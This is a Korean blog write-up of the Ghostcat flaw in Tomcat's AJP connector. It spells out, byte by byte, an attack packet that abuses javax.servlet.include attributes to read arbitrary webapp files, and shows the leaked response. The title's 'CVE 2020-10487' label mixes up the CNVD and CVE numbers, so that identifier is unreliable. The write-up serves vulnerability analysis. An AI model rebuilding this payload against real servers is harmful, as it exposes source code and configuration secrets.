본문 바로가기
Hack/Web

CVE 2020-10487 (Ghostcat : Tomcat AJP)

by Becoming a Hacker 2020. 9. 21.
반응형

개요

CVE 2020-10487은 Tomcat의 취약한 버전에서 Default로 열려있는 Connector 중 AJP Protocol에서 발생합니다.

 

Tomcat은 AJP Request를 받았을 경우 org.apache.coyote.ajp.AjpProcessor를 호출하여 AJP 메세지를 처리하며, prepareRequest는 송신한 데이터를 추출하여 request 객체의 Attribute 속성으로 설정할 수 있습니다.

 

설정 가능한 Attribute 속성은 다음과 같습니다.

 javax.servlet.include.request_uri
 javax.servlet.include.path_info
 javax.servlet.include.servlet_path

 

해당 취약점을 이용하여 webapp 하위에 있는 모든 임의의 파일들에 접근할 수 있습니다.


취약점

취약 환경

Apache Tomcat 9 (Version ~ 9.0.30)

Apache Tomcat 8 (Version ~ 8.5.50)

Apache Tomcat 7 (Version ~ 7.0.99)

Apache Tomcat 6


테스트 환경

Apache Tomcat 8.5.32

 

분석

AJP Request Packet 구조는 다음과 같습니다.

AJP13_FORWARD_REQUETS Header
    0x1234
    Data Length
    
AJP13_FORWARD_REQUEST Body
    prefix_code      (byte) 0x02 = JK_AJP13_FORWARD_REQUEST
    method           (byte)
    protocol         (string)
    req_uri          (string)
    remote_addr      (string)
    remote_host      (string)
    server_name      (string)
    server_port      (integer)
    is_ssl           (boolean)
    num_headers      (integer)
    request_headers *(req_header_name req_header_value)
    attributes      *(attribut_name attribute_value)
    request_terminator (byte) OxFF

 

실제 공격에 사용된 Request 분석 결과는 다음과 같습니다.

Header 
\x12\x34 

Data Length
\x00\xc0

Prefix Code (JK_AJP13_FORWARD_REQUEST)
\x02

Method (OPTIONS: 1, GET: 2, HEAD: 3, POST: 4, PUT: 5, DELETE: 6, TRACE: 7, PROPFIND: 8)
\x02

Protocol length 
\x00\x08

Protocol 
HTTP/1.1

Protocol EOF 
\x00

Request URL length 
\x00\x15

Request URL 
/iidex.html/index.txt

Request URL EOF 
\x00

Remote Addr length 
\x00\x09

Remote Addr
127.0.0.1

Remote Addr EOF
\x00

Remote host length 
\x00\x09

Remote host 
localhost

Remote host EOF
\x00

Server name length 
\x00\x09

Server name
localhost

Server name EOF
\x00

Server Port 
\x00\x80

is SSL (https=1, http=0)
\x00 

Num Headers
\x00\x01

Request Header Name (SC_REQ_HOST)
\xa0\x0b

Request Header Value length
\x00\x0c

Request Header Value 
localhost:80

Request Header Value EOF 
\x00

Request Attribute 
\x0a

Request Attribute Name length 
\x00\x21

Request Attribute Name
javax.servlet.include.request_uri

Request Attribute Name EOF 
\x00

Request Attribute Value length 
\x00\x05

Request Attribute Value 
index

Request Attribute Value EOF 
\x00 

Request Attribute 
\x0a 

Request Attribute Name length 
\x00\x22

Requests Attribute Name
javax.servlet.include.servlet_path

Requests Attribute Name EOF 
\x00

Request Attribute Value length 
\x00\x0a

Request Attribute Value 
/index.jsp

Request Attribute Value EOF 
\x00

Request Attribute EOF 
\xff

EOF
\x00

 

Request URL에는 Servelet URL Pattern과 일치하지만 존재하지 않는 URL을 입력해야 합니다.

또한, javax.servlet.include.servlet_path에는 실제로 접근하려는 임의의 파일을 매칭된 폴더를 기준으로 절대 경로를 입력해야합니다.

Servelet URL Pattern : / -> webapps/ROOT/
Request URL : /iindex.jsp
javax.servlet.include.servlet_path : /index.jsp

Servelet URL Pattern : /examples/ -> webapps/examples/
Request URL : /example/123456.html
javax.servlet.include.servlet_path : /jsp/source.jsp

 

해당 조건에 맞춰 Request를 전송하게 되면  javax.servlet.include.servlet_path에 입력한 임의의 파일에 접근할 수 있게 됩니다.

 

서버의 Response Packet 구조는 다음과 같습니다.

AJP13_RESPONSE Header
    0x4142
    Data Length

AJP13_SEND_BODY_CHUNK
  prefix_code   3
  chunk_length  (integer)
  chunk        *(byte)
  chunk_terminator (byte) Ox00

AJP13_SEND_HEADERS
  prefix_code       4
  http_status_code  (integer)
  http_status_msg   (string)
  num_headers       (integer)
  response_headers *(res_header_name header_value)

res_header_name
    sc_res_header_name | (string)   [see below for how this is parsed]

sc_res_header_name 0xA0 (byte)
			\x01: Content-Type
    			\x02: Content-Language
    			\x03: Content-Length
    			\x04: Date
    			\x05: Last-Modified
    			\x06: Location
    			\x07: Set-Cookie
    			\x08: Set-Cookie2
    			\x09: Servlet-Engine
    			\x0a: Status
    			\x0b: WWW-Authenticate

header_value (string)

AJP13_END_RESPONSE
  prefix_code       5
  reuse             (boolean)

AJP13_GET_BODY_CHUNK
  prefix_code       6
  requested_length  (integer)

 

실제 공격 코드를 전송 후 서버에서 받은 Response 분석 결과는 다음과 같습니다.

Header
\x41\x42

Data Length
\x00\x70

Prefix Code
\x04

Http Status Code
\x00\xc8 

Http Status Msg Length
\x00\x03

Http Status Msg
200

Http Status EOF
\x00

Num Headers
\x00\x04

SC Res Header Name Length
\x00\x0d

SC Res Header Name
Accept-Ranges

SC Res Header Name EOF
\x00

SC Res Header Value Length
\x00\x05

SC Res Header Value
bytes

SC Res Header Value EOF
\x00

SC Res Header Name Length
\x00\x04

SC Res Header Name
ETag

SC Res Header Name EOF
\x00

SC Res Header Value Length
\x00\x17

SC Res Header Value
W/"12439-1575714088000"

SC Res Header Value EOF
\x00

SC Res Header Name (Last-Modified)
\xa0\x05

SC Res Header Value Length
\x00\x1d

SC Res Header Value
Sat, 07 Dec 2019 10:21:28 GMT

SC Res Header Value EOF
\x00

SC Res Header Name (Content-Length)
\xa0\x03

SC Res Header Value Length
\x00\x05

SC Res Header Value
12439

SC Res Header Value EOF
\x00

Header
\x41\x42

Data Length
\x1f\xfc

Prefix Code
\x03

Chunk Length
\x1f\xf8

Chunk
%--\r\nLicensed to the Apache Software Foundation (ASF) under one or more\r\ncontributor license agreements.  See the NOTICE ~

Chunk EOF
\x00

Header
\x41\x42

Data Length
\x10\xa3

Prefix Code
\x03

Chunk Length
\x10\x9f

Chunk
w volume).</strong>\r\n </li>\r\n <li><a  ~ </html>\r\n

Chunk EOF
\x00

Header
\x41\x42

Data Length
\x02

Prefix Code
\x05

Reuse
\x01

 

servlet_path에 입력한 /index.jsp 파일이 Chunk에 담겨져있는 것을 확인할 수 있었습니다. 다음 사진은 Response 데이터를 보기좋게 디코딩한 결과입니다. 


Reference

https://httpd.apache.org/docs/2.4/mod/mod_proxy_ajp.html

https://blog.alyac.co.kr/2772

https://github.com/00theway/Ghostcat-CNVD-2020-10487

 

'Hack > Web' 카테고리의 다른 글

Reflected File Download  (0) 2020.09.22
Phar 파일을 이용한 PHP Unserialization  (0) 2020.09.22
commons-fileupload Module WAF Filtering Bypass  (0) 2020.09.21
Nginx off by slash fail  (0) 2020.09.21
Host Split Attack  (0) 2020.09.21

댓글